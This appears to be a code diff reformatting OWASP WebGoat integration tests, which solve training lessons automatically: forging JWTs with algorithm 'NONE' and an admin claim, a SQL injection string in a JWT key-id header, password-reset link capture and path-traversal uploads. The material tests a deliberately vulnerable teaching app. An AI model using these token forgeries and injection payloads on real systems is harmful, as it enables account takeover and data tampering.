import io.jsonwebtoken.Jwt;
|
||||
import io.jsonwebtoken.JwtException;
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import io.jsonwebtoken.SignatureAlgorithm;
|
||||
import io.jsonwebtoken.impl.TextCodec;
|
||||
import io.restassured.RestAssured;
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.security.InvalidKeyException;
|
||||
@ -10,23 +21,9 @@ import java.util.Calendar;
|
||||
import java.util.Date;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import com.fasterxml.jackson.databind.JsonNode;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.fasterxml.jackson.databind.node.ObjectNode;
|
||||
|
||||
import io.jsonwebtoken.Header;
|
||||
import io.jsonwebtoken.JwsHeader;
|
||||
import io.jsonwebtoken.Jwt;
|
||||
import io.jsonwebtoken.JwtException;
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import io.jsonwebtoken.SignatureAlgorithm;
|
||||
import io.jsonwebtoken.impl.TextCodec;
|
||||
import io.restassured.RestAssured;
|
||||
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
|
||||
|
||||
public class JWTLessonIntegrationTest extends IntegrationTest {
|
||||
@ -61,7 +58,8 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
||||
.claim("username", "WebGoat")
|
||||
.claim("Email", "tom@webgoat.org")
|
||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||
.signWith(SignatureAlgorithm.HS256, key).compact();
|
||||
.signWith(SignatureAlgorithm.HS256, key)
|
||||
.compact();
|
||||
}
|
||||
|
||||
private String getSecretToken(String token) {
|
||||
@ -86,19 +84,23 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
||||
.post(url("/WebGoat/JWT/decode"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
|
||||
|
||||
String accessToken = RestAssured.given()
|
||||
String accessToken =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/WebGoat/JWT/secret/gettoken"))
|
||||
.then()
|
||||
.extract().response().asString();
|
||||
.extract()
|
||||
.response()
|
||||
.asString();
|
||||
|
||||
String secret = getSecretToken(accessToken);
|
||||
|
||||
@ -111,36 +113,43 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
||||
.post(url("/WebGoat/JWT/secret"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void resetVotes() throws IOException {
|
||||
String accessToken = RestAssured.given()
|
||||
String accessToken =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
|
||||
.then()
|
||||
.extract().cookie("access_token");
|
||||
.extract()
|
||||
.cookie("access_token");
|
||||
|
||||
String header = accessToken.substring(0, accessToken.indexOf("."));
|
||||
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
|
||||
|
||||
String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
|
||||
String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
|
||||
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
|
||||
|
||||
ObjectMapper mapper = new ObjectMapper();
|
||||
JsonNode headerNode = mapper.readTree(header);
|
||||
headerNode = ((ObjectNode) headerNode).put("alg","NONE");
|
||||
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
|
||||
|
||||
JsonNode bodyObject = mapper.readTree(body);
|
||||
bodyObject = ((ObjectNode) bodyObject).put("admin","true");
|
||||
bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
|
||||
|
||||
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
||||
String replacedToken =
|
||||
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
||||
.concat(".")
|
||||
.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
|
||||
.concat(".").replace("=", "");
|
||||
.concat(
|
||||
new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
|
||||
.toString())
|
||||
.concat(".")
|
||||
.replace("=", "");
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
@ -151,14 +160,24 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
||||
.post(url("/WebGoat/JWT/votings"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void buyAsTom() throws IOException {
|
||||
|
||||
String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
|
||||
String header =
|
||||
new String(
|
||||
Base64.getUrlDecoder()
|
||||
.decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
|
||||
|
||||
String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset())));
|
||||
String body =
|
||||
new String(
|
||||
Base64.getUrlDecoder()
|
||||
.decode(
|
||||
"eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
|
||||
.getBytes(Charset.defaultCharset())));
|
||||
|
||||
body = body.replace("Jerry", "Tom");
|
||||
|
||||
@ -166,25 +185,36 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
||||
JsonNode headerNode = mapper.readTree(header);
|
||||
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
|
||||
|
||||
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".")
|
||||
String replacedToken =
|
||||
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
||||
.concat(".")
|
||||
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
|
||||
.concat(".").replace("=", "");
|
||||
.concat(".")
|
||||
.replace("=", "");
|
||||
|
||||
MatcherAssert.assertThat(RestAssured.given()
|
||||
.when().relaxedHTTPSValidation()
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Authorization","Bearer "+replacedToken)
|
||||
.header("Authorization", "Bearer " + replacedToken)
|
||||
.post(url("/WebGoat/JWT/refresh/checkout"))
|
||||
.then().statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void deleteTom() {
|
||||
|
||||
Map<String, Object> header = new HashMap();
|
||||
header.put(Header.TYPE, Header.JWT_TYPE);
|
||||
header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
|
||||
String token = Jwts.builder()
|
||||
header.put(
|
||||
JwsHeader.KEY_ID,
|
||||
"hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
|
||||
String token =
|
||||
Jwts.builder()
|
||||
.setHeader(header)
|
||||
.setIssuer("WebGoat Token Builder")
|
||||
.setAudience("webgoat.org")
|
||||
@ -194,15 +224,20 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
||||
.claim("username", "Tom")
|
||||
.claim("Email", "tom@webgoat.org")
|
||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||
.signWith(SignatureAlgorithm.HS256, "deletingTom").compact();
|
||||
.signWith(SignatureAlgorithm.HS256, "deletingTom")
|
||||
.compact();
|
||||
|
||||
MatcherAssert.assertThat(RestAssured.given()
|
||||
.when().relaxedHTTPSValidation()
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.post(url("/WebGoat/JWT/final/delete?token="+token))
|
||||
.post(url("/WebGoat/JWT/final/delete?token=" + token))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void quiz() {
|
||||
@ -212,5 +247,4 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
||||
|
||||
checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -3,92 +3,139 @@ package org.owasp.webgoat;
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import io.restassured.path.json.JsonPath;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.io.FileInputStream;
|
||||
import java.io.InputStream;
|
||||
import java.util.List;
|
||||
import java.util.Properties;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class LabelAndHintIntegrationTest extends IntegrationTest {
|
||||
|
||||
final static String ESCAPE_JSON_PATH_CHAR = "\'";
|
||||
static final String ESCAPE_JSON_PATH_CHAR = "\'";
|
||||
|
||||
@Test
|
||||
public void testSingleLabel() {
|
||||
Assertions.assertTrue(true);
|
||||
JsonPath jsonPath = RestAssured.given()
|
||||
JsonPath jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language","en")
|
||||
.header("Accept-Language", "en")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
|
||||
.get(url("service/labels.mvc"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
|
||||
Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR));
|
||||
Assertions.assertEquals(
|
||||
"Try again: but this time enter a value before hitting go.",
|
||||
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
|
||||
|
||||
// check if lang parameter overrules Accept-Language parameter
|
||||
jsonPath = RestAssured.given()
|
||||
jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language","en")
|
||||
.header("Accept-Language", "en")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath();
|
||||
Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
||||
.get(url("service/labels.mvc?lang=nl"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
Assertions.assertEquals(
|
||||
"Gebruikersnaam",
|
||||
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||
|
||||
jsonPath = RestAssured.given()
|
||||
jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language","en")
|
||||
.header("Accept-Language", "en")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath();
|
||||
Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
||||
.get(url("service/labels.mvc?lang=de"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
Assertions.assertEquals(
|
||||
"Benutzername",
|
||||
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||
|
||||
// check if invalid language returns english
|
||||
jsonPath = RestAssured.given()
|
||||
jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language","nl")
|
||||
.header("Accept-Language", "nl")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath();
|
||||
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
||||
.get(url("service/labels.mvc?lang=xx"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
Assertions.assertEquals(
|
||||
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||
|
||||
// check if invalid language returns english
|
||||
jsonPath = RestAssured.given()
|
||||
jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language","xx_YY")
|
||||
.header("Accept-Language", "xx_YY")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
|
||||
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
||||
|
||||
.get(url("service/labels.mvc"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
Assertions.assertEquals(
|
||||
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testHints() {
|
||||
JsonPath jsonPathLabels = getLabels("en");
|
||||
List<String> allLessons = List.of(
|
||||
List<String> allLessons =
|
||||
List.of(
|
||||
"HttpBasics",
|
||||
"HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal",
|
||||
"XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession",
|
||||
"SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced",
|
||||
"HttpProxies",
|
||||
"CIA",
|
||||
"InsecureLogin",
|
||||
"Cryptography",
|
||||
"PathTraversal",
|
||||
"XXE",
|
||||
"JWT",
|
||||
"IDOR",
|
||||
"SSRF",
|
||||
"WebWolfIntroduction",
|
||||
"CrossSiteScripting",
|
||||
"CSRF",
|
||||
"HijackSession",
|
||||
"SqlInjection",
|
||||
"SqlInjectionMitigations",
|
||||
"SqlInjectionAdvanced",
|
||||
"Challenge1");
|
||||
for (String lesson: allLessons) {
|
||||
for (String lesson : allLessons) {
|
||||
startLesson(lesson);
|
||||
List<String> hintKeys = getHints();
|
||||
for (String key : hintKeys) {
|
||||
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
|
||||
//System.out.println("key: " + key + " ,value: " + keyValue);
|
||||
String keyValue =
|
||||
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
|
||||
// System.out.println("key: " + key + " ,value: " + keyValue);
|
||||
Assertions.assertNotNull(keyValue);
|
||||
Assertions.assertNotEquals(key, keyValue);
|
||||
}
|
||||
}
|
||||
//Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0));
|
||||
// Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
|
||||
// ""+jsonPath.getList("hint").get(0));
|
||||
}
|
||||
|
||||
@Test
|
||||
@ -96,21 +143,26 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
|
||||
|
||||
JsonPath jsonPathLabels = getLabels("en");
|
||||
Properties propsDefault = getProperties("");
|
||||
for (String key: propsDefault.stringPropertyNames()) {
|
||||
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR);
|
||||
for (String key : propsDefault.stringPropertyNames()) {
|
||||
String keyValue =
|
||||
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
|
||||
Assertions.assertNotNull(keyValue);
|
||||
}
|
||||
checkLang(propsDefault,"nl");
|
||||
checkLang(propsDefault,"de");
|
||||
checkLang(propsDefault,"fr");
|
||||
checkLang(propsDefault,"ru");
|
||||
|
||||
checkLang(propsDefault, "nl");
|
||||
checkLang(propsDefault, "de");
|
||||
checkLang(propsDefault, "fr");
|
||||
checkLang(propsDefault, "ru");
|
||||
}
|
||||
|
||||
private Properties getProperties(String lang) {
|
||||
Properties prop = null;
|
||||
if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; }
|
||||
try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) {
|
||||
if (lang == null || lang.equals("")) {
|
||||
lang = "";
|
||||
} else {
|
||||
lang = "_" + lang;
|
||||
}
|
||||
try (InputStream input =
|
||||
new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
|
||||
|
||||
prop = new Properties();
|
||||
// load a properties file
|
||||
@ -125,15 +177,19 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
|
||||
JsonPath jsonPath = getLabels(lang);
|
||||
Properties propsLang = getProperties(lang);
|
||||
|
||||
for (String key: propsLang.stringPropertyNames()) {
|
||||
for (String key : propsLang.stringPropertyNames()) {
|
||||
if (!propsDefault.containsKey(key)) {
|
||||
System.err.println("key: " + key + " in (" +lang+") is missing from default properties");
|
||||
System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
|
||||
Assertions.fail();
|
||||
}
|
||||
if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) {
|
||||
System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service");
|
||||
System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR));
|
||||
System.out.println("expected: "+propsLang.getProperty(key));
|
||||
if (!jsonPath
|
||||
.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
|
||||
.equals(propsLang.get(key))) {
|
||||
System.out.println(
|
||||
"key: " + key + " in (" + lang + ") has incorrect translation in label service");
|
||||
System.out.println(
|
||||
"actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
|
||||
System.out.println("expected: " + propsLang.getProperty(key));
|
||||
System.out.println();
|
||||
Assertions.fail();
|
||||
}
|
||||
@ -145,26 +201,30 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language",lang)
|
||||
.header("Accept-Language", lang)
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
//.log().headers()
|
||||
// .log().headers()
|
||||
.get(url("service/labels.mvc"))
|
||||
.then()
|
||||
//.log().all()
|
||||
.statusCode(200).extract().jsonPath();
|
||||
// .log().all()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
}
|
||||
|
||||
private List<String> getHints() {
|
||||
JsonPath jsonPath = RestAssured.given()
|
||||
JsonPath jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/hint.mvc"))
|
||||
.then()
|
||||
//.log().all()
|
||||
.statusCode(200).extract().jsonPath();
|
||||
// .log().all()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
return jsonPath.getList("hint");
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -1,8 +1,11 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import lombok.SneakyThrows;
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import java.util.Arrays;
|
||||
import java.util.Map;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
@ -10,11 +13,6 @@ import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.Map;
|
||||
|
||||
public class PasswordResetLessonIntegrationTest extends IntegrationTest {
|
||||
|
||||
@BeforeEach
|
||||
@ -26,57 +24,83 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> passwordResetLesson() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
|
||||
dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
|
||||
dynamicTest("assignment 2 - simple reset",()-> assignment2()),
|
||||
dynamicTest("assignment 4 - guess questions",()-> assignment4()),
|
||||
dynamicTest("assignment 5 - simple questions",()-> assignment5())
|
||||
);
|
||||
dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
|
||||
dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
|
||||
dynamicTest("assignment 2 - simple reset", () -> assignment2()),
|
||||
dynamicTest("assignment 4 - guess questions", () -> assignment4()),
|
||||
dynamicTest("assignment 5 - simple questions", () -> assignment5()));
|
||||
}
|
||||
|
||||
public void assignment2() {
|
||||
checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
|
||||
checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
|
||||
checkAssignment(
|
||||
url("PasswordReset/simple-mail/reset"),
|
||||
Map.of("emailReset", this.getUser() + "@webgoat.org"),
|
||||
false);
|
||||
checkAssignment(
|
||||
url("PasswordReset/simple-mail"),
|
||||
Map.of(
|
||||
"email",
|
||||
this.getUser() + "@webgoat.org",
|
||||
"password",
|
||||
StringUtils.reverse(this.getUser())),
|
||||
true);
|
||||
}
|
||||
|
||||
public void assignment4() {
|
||||
checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
|
||||
checkAssignment(
|
||||
url("PasswordReset/questions"),
|
||||
Map.of("username", "tom", "securityQuestion", "purple"),
|
||||
true);
|
||||
}
|
||||
|
||||
public void assignment5() {
|
||||
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
|
||||
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
|
||||
checkAssignment(
|
||||
url("PasswordReset/SecurityQuestions"),
|
||||
Map.of("question", "What is your favorite animal?"),
|
||||
false);
|
||||
checkAssignment(
|
||||
url("PasswordReset/SecurityQuestions"),
|
||||
Map.of("question", "What is your favorite color?"),
|
||||
true);
|
||||
}
|
||||
|
||||
|
||||
public void solveAssignment() {
|
||||
//WebGoat
|
||||
// WebGoat
|
||||
clickForgotEmailLink("tom@webgoat-cloud.org");
|
||||
|
||||
//WebWolf
|
||||
// WebWolf
|
||||
var link = getPasswordResetLinkFromLandingPage();
|
||||
|
||||
//WebGoat
|
||||
// WebGoat
|
||||
changePassword(link);
|
||||
checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
|
||||
checkAssignment(
|
||||
url("PasswordReset/reset/login"),
|
||||
Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
|
||||
true);
|
||||
}
|
||||
|
||||
public void sendEmailShouldBeAvailableInWebWolf() {
|
||||
clickForgotEmailLink(this.getUser() + "@webgoat.org");
|
||||
|
||||
var responseBody = RestAssured.given()
|
||||
var responseBody =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/mail"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
|
||||
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
public void shutdown() {
|
||||
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
|
||||
// this will run only once after the list of dynamic tests has run, this is to test if the
|
||||
// lesson is marked complete
|
||||
checkResults("/PasswordReset");
|
||||
}
|
||||
|
||||
@ -92,15 +116,22 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
|
||||
}
|
||||
|
||||
private String getPasswordResetLinkFromLandingPage() {
|
||||
var responseBody = RestAssured.given()
|
||||
var responseBody =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/requests"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
|
||||
var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
|
||||
var link =
|
||||
responseBody.substring(
|
||||
startIndex + "/PasswordReset/reset/reset-password/".length(),
|
||||
responseBody.indexOf(",", startIndex) - 1);
|
||||
return link;
|
||||
}
|
||||
|
||||
|
@ -1,16 +1,8 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import lombok.SneakyThrows;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
import org.junit.jupiter.api.io.TempDir;
|
||||
import org.springframework.security.core.token.Sha512DigestUtils;
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
@ -21,13 +13,19 @@ import java.util.Arrays;
|
||||
import java.util.Map;
|
||||
import java.util.zip.ZipEntry;
|
||||
import java.util.zip.ZipOutputStream;
|
||||
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
import lombok.SneakyThrows;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
import org.junit.jupiter.api.io.TempDir;
|
||||
import org.springframework.security.core.token.Sha512DigestUtils;
|
||||
|
||||
class PathTraversalIT extends IntegrationTest {
|
||||
|
||||
@TempDir
|
||||
Path tempDir;
|
||||
@TempDir Path tempDir;
|
||||
|
||||
private File fileToUpload = null;
|
||||
|
||||
@ -46,8 +44,7 @@ class PathTraversalIT extends IntegrationTest {
|
||||
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
|
||||
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
|
||||
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
|
||||
dynamicTest("assignment 5 - zip slip", () -> assignment5())
|
||||
);
|
||||
dynamicTest("assignment 5 - zip slip", () -> assignment5()));
|
||||
}
|
||||
|
||||
private void assignment1() throws IOException {
|
||||
@ -61,7 +58,9 @@ class PathTraversalIT extends IntegrationTest {
|
||||
.post(url("/WebGoat/PathTraversal/profile-upload"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
